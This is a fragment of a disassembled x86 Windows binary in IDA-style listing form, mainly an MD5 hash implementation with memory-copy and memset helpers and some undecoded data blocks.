pop ebx
retn
sub_4337E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4338B0 proc near ; CODE XREF: sub_401190j
push ebx
push esi
push edi
nop
call near ptr 27A0799h
mov esi, eax
call sub_436F5A
sub_4338B0 endp
; ---------------------------------------------------------------------------
dd 448BF88Bh, 88B1024h, 9AE89051h, 56022CD1h, 0E890D88Bh
dd 22CD2FCh, 36C4E857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_433900 proc near ; CODE XREF: sub_401A55j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+14h], ecx
mov [eax+10h], ecx
mov dword ptr [eax], 67452301h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
mov dword ptr [eax+0Ch], 10325476h
retn
sub_433900 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433940 proc near ; CODE XREF: sub_401C12j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esp+10h+arg_8]
mov ecx, [esi+10h]
mov eax, ecx
lea edx, ds:0[edi*8]
shr eax, 3
lea ecx, [ecx+edi*8]
and eax, 3Fh
cmp ecx, edx
mov [esi+10h], ecx
jnb short loc_43396B
inc dword ptr [esi+14h]
loc_43396B: ; CODE XREF: sub_433940+26j
mov ebx, [esi+14h]
mov ecx, edi
shr ecx, 1Dh
add ebx, ecx
mov [esi+14h], ebx
mov ebx, 40h
sub ebx, eax
cmp edi, ebx
jb short loc_4339C9
mov edx, [esp+10h+arg_4]
push ebx
lea eax, [eax+esi+18h]
push edx
push eax
call sub_434740
lea ecx, [esi+18h]
push ecx
push esi
call sub_433AB0
mov ebp, ebx
add ebx, 3Fh
add esp, 14h
cmp ebx, edi
jnb short loc_4339C5
loc_4339A9: ; CODE XREF: sub_433940+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_433AB0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_4339A9
loc_4339C5: ; CODE XREF: sub_433940+67j
xor eax, eax
jmp short loc_4339CB
; ---------------------------------------------------------------------------
loc_4339C9: ; CODE XREF: sub_433940+41j
xor ebp, ebp
loc_4339CB: ; CODE XREF: sub_433940+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_434740
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_433940 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433A20 proc near ; CODE XREF: sub_402158j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_434660
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_433A53
mov ecx, 78h
loc_433A53: ; CODE XREF: sub_433A20+2Cj
sub ecx, eax
push ecx
push offset aA_0 ; ""
push edi
call sub_401C12
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C12
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_434660
push 58h
push 0
push edi
call sub_434770
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_433A20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_433AB0 proc near ; CODE XREF: sub_433940+58p
; sub_433940+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4346D0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_434770
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_433AB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434660 proc near ; CODE XREF: sub_433A20+14p
; sub_433A20+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_4346A7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43467A: ; CODE XREF: sub_434660+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43467A
pop esi
loc_4346A7: ; CODE XREF: sub_434660+7j
pop edi
retn
sub_434660 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_43471A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4346ED: ; CODE XREF: sub_4346D0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4346ED
pop edi
pop esi
loc_43471A: ; CODE XREF: sub_4346D0+7j
pop ebp
retn
sub_4346D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434740 proc near ; CODE XREF: sub_433940+4Ep
; sub_433940+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_43475C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_434753: ; CODE XREF: sub_434740+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_434753
loc_43475C: ; CODE XREF: sub_434740+7j
pop esi
retn
sub_434740 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434770 proc near ; CODE XREF: sub_433A20+60p
; sub_433AB0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_43479E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_43479E: ; CODE XREF: sub_434770+6j
retn
sub_434770 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4347B0 proc near ; CODE XREF: sub_401C0Dj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4347B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_4347B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+30h]
push 7
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4348A0: ; CODE XREF: ___:loc_401F1Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BDF6
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_434E5E
push 80h
mov dword ptr [esp+1Ch], 800h
call near ptr 77C2C407h
nop
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_443600 ; " "
push 1
push eax
call sub_4016AE
push 800h
mov dword ptr [esp+16F0h], 0
call sub_4367FA
; ---------------------------------------------------------------------------
db 8Bh
dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 0F83D89C0h
dd 0F30050E3h, 57C4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h
dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h
dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h, 0C08508C4h
dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h
dd 0F0685204h, 55004435h, 1B5810E8h, 0B99000h, 33000002h
dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0FCBF0000h, 0F30050E3h
dd 0E3F8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
dd 0
dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D3C68h
dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah
dd 51500000h, 4D60A568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch
dd 24AB5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F60h
